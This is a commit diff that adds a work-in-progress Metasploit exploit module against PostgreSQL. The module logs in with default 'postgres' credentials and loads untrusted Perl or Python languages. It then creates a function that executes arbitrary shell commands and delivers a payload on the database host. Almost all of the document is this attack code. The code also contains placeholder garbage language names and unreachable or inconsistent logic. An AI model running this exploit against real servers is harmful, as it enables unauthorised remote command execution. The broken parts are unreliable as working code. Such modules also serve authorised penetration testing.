Pushing now. Still working on it.
parent
6eda702b25
commit
fa3431c732
|
@ -0,0 +1,301 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/postgres'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# Creates an instance of this module.
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
|
||||
'Description' => %q{
|
||||
Some installations of Postgres are configured to allow loading external
scripting languages.
|
||||
Most commonly this is Perl and
Python. When enabled, command execution is possible
on the host.
|
||||
To execute system commands, loading the "untrusted" version of the language is necessary.
|
||||
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
|
||||
and has been tested on OS X, Windows, and Linux.
|
||||
|
||||
This module attempts to load Perl or Python to execute system
commands. As this dynamically loads
|
||||
a scripting language to execute commands,
it is not necessary to drop a file on the filesystem.
|
||||
},
|
||||
'Author' => [
|
||||
'Micheal Cottingham', # author of this module
|
||||
'midnitesnake', # the postgres_payload module that this is based on
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
|
||||
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
|
||||
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
|
||||
],
|
||||
'Platform' => %w{python linux unix win osx},
|
||||
'Payload' => {
|
||||
'PayloadType' => %w{python cmd}
|
||||
},
|
||||
'Arch' => [ARCH_CMD, ARCH_PYTHON],
|
||||
'Targets' => [
|
||||
['Automatic', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => ''
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('USERNAME', [true, 'The username to the service', 'postgres']),
|
||||
OptString.new('PASSWORD', [true, 'The password to the service', 'postgres'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
||||
end
|
||||
|
||||
def check
|
||||
version = postgres_fingerprint
|
||||
|
||||
if version[:auth]
|
||||
return CheckCode::Appears
|
||||
|
||||
else
|
||||
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
version = do_login(username, password, database)
|
||||
|
||||
case version
|
||||
when :noauth; print_error 'Authentication failed.'; return
|
||||
when :noconn; print_error 'Connection failed.'; return
|
||||
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - #{version}")
|
||||
end
|
||||
|
||||
begin
|
||||
func_name = Rex::Text.rand_text_alpha(10)
|
||||
|
||||
load_perl = create_perl
|
||||
|
||||
# Decision tree - not clean, but it works.
|
||||
# If you have suggestions for improvement, please contact me on Github - @micheal
|
||||
case load_perl
|
||||
when 'exists'
|
||||
print_status 'Perl is already loaded, continuing'
|
||||
createPerlFunc(func_name)
|
||||
|
||||
when 'loaded'
|
||||
print_status 'Perl was successfully loaded, continuing'
|
||||
createPerlFunc(func_name)
|
||||
|
||||
when 'not_exists'
|
||||
print_status 'Perl is not installed on the target, attempting Python2'
|
||||
|
||||
load_python2, ver = create_python2
|
||||
|
||||
case load_python2
|
||||
when 'exists'
|
||||
print_status 'Python2 is already loaded, continuing'
|
||||
create_python_func(func_name, '')
|
||||
|
||||
when 'loaded'
|
||||
print_status 'Python2 was successfully loaded, continuing'
|
||||
create_python_func(func_name, '')
|
||||
|
||||
when 'not_exists'
|
||||
print_status 'Python2 is not installed on the target, attempting Python3'
|
||||
|
||||
load_python3 = create_python3
|
||||
|
||||
case load_python3
|
||||
when 'exists'
|
||||
print_status 'Python3 is already loaded, continuing'
|
||||
create_python_func(func_name, '3')
|
||||
|
||||
when 'loaded'
|
||||
print_status 'Python3 was successfully loaded, continuing'
|
||||
create_python_func(func_name, '3')
|
||||
|
||||
when 'not_exists'
|
||||
print_error 'No suitable exploit path found, exiting'
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
selectQuery = postgres_query("SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')")
|
||||
|
||||
case selectQuery.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
|
||||
|
||||
when :sql_error
|
||||
print_error "#{rhost}:#{rport} Postgres - #{selectQuery[:sql_error]}"
|
||||
|
||||
when :complete
|
||||
vprint_good "#{rhost}:#{rport} Postgres - Command complete."
|
||||
end
|
||||
|
||||
rescue RuntimeError => e
|
||||
print_error "Failed to create UDF: #{e.class}: #{e}"
|
||||
end
|
||||
|
||||
postgres_logout if @postgres_conn
|
||||
end
|
||||
|
||||
def create_python2
|
||||
create = postgres_query("CREATE LANGUAGE plpythonasdfu")
|
||||
|
||||
if(create.keys[0] == :sql_error)
|
||||
matchExists = create[:sql_error].match(/language "plpythonu" already exists/m)
|
||||
|
||||
if(matchExists)
|
||||
return 'exists', ''
|
||||
|
||||
else
|
||||
#matchError = create[:sql_error].match(/could not access file/m)
|
||||
matchError = create[:sql_error].match(/unsupported language/m)
|
||||
|
||||
if(matchError)
|
||||
# One more attempt
|
||||
create2 = postgres_query("CREATE LANGUAGE plpythonu")
|
||||
|
||||
matchError2 = create2[:sql_error].match(/could not access file/m)
|
||||
|
||||
if(matchError2)
|
||||
return 'not_exists'
|
||||
|
||||
else
|
||||
return 'loaded', '2'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
return 'loaded', ''
|
||||
end
|
||||
end
|
||||
|
||||
def create_python3
|
||||
create = postgres_query("CREATE LANGUAGE plpython3u")
|
||||
|
||||
if(create.keys[0] == :sql_error)
|
||||
matchExists = create[:sql_error].match(/language "plpython3u" already exists/m)
|
||||
|
||||
if(matchExists)
|
||||
return 'exists'
|
||||
|
||||
else
|
||||
matchError = create[:sql_error].match(/could not access file/m)
|
||||
|
||||
if(matchError)
|
||||
return 'not_exists'
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
return 'loaded'
|
||||
end
|
||||
end
|
||||
|
||||
def create_python_func(name, version)
|
||||
create_python_function = postgres_query(
|
||||
"CREATE OR REPLACE FUNCTION exec_#{name}(c text) RETURNS void as $$" +
|
||||
"import subprocess, shlex" +
|
||||
"return subprocess.check_output(shlex.split(c))" +
|
||||
"$$ LANGUAGE plpython#{version}u")
|
||||
|
||||
case create_python_function.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
|
||||
|
||||
when :sql_error
|
||||
print_error "#{rhost}:#{rport} Postgres - #{create_python_function[:sql_error]}"
|
||||
|
||||
when :complete
|
||||
print_good "#{rhost}:#{rport} Postgres - Command complete."
|
||||
end
|
||||
end
|
||||
|
||||
def create_perl
|
||||
create = postgres_query("CREATE LANGUAGE plasdfu", 50)
|
||||
|
||||
if(create.keys[0] == :sql_error)
|
||||
matchExists = create[:sql_error].match(/language "plperlu" already exists/m)
|
||||
|
||||
if(matchExists)
|
||||
return 'exists'
|
||||
|
||||
else
|
||||
matchError = create[:sql_error].match(/could not access file/m)
|
||||
return 'not_exists'
|
||||
|
||||
if(matchError)
|
||||
return 'not_exists'
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
return 'loaded'
|
||||
end
|
||||
end
|
||||
|
||||
def createPerlFunc(name)
|
||||
createPerlFunction = postgres_query(
|
||||
"CREATE OR REPLACE FUNCTION exec_#{name}(text) RETURNS TEXT as $$" +
|
||||
"return `$_[0]`;" +
|
||||
"$$ LANGUAGE plperlu")
|
||||
|
||||
case createPerlFunction.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
|
||||
|
||||
when :sql_error
|
||||
print_error "#{rhost}:#{rport} Postgres - #{createPerlFunction[:sql_error]}"
|
||||
|
||||
when :complete
|
||||
print_good "#{rhost}:#{rport} Postgres - Command complete."
|
||||
end
|
||||
end
|
||||
|
||||
# Authenticate to the postgres server.
|
||||
# Returns the version from #postgres_fingerprint
|
||||
def do_login(user=nil, pass=nil, database=nil)
|
||||
begin
|
||||
password = pass || postgres_password
|
||||
|
||||
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
||||
|
||||
result = postgres_fingerprint(
|
||||
:db => database,
|
||||
:username => user,
|
||||
:password => password
|
||||
)
|
||||
|
||||
if result[:auth]
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => "postgres",
|
||||
:info => result.values.first
|
||||
)
|
||||
return result[:auth]
|
||||
|
||||
else
|
||||
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
|
||||
return :noauth
|
||||
end
|
||||
|
||||
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
||||
return :noconn
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue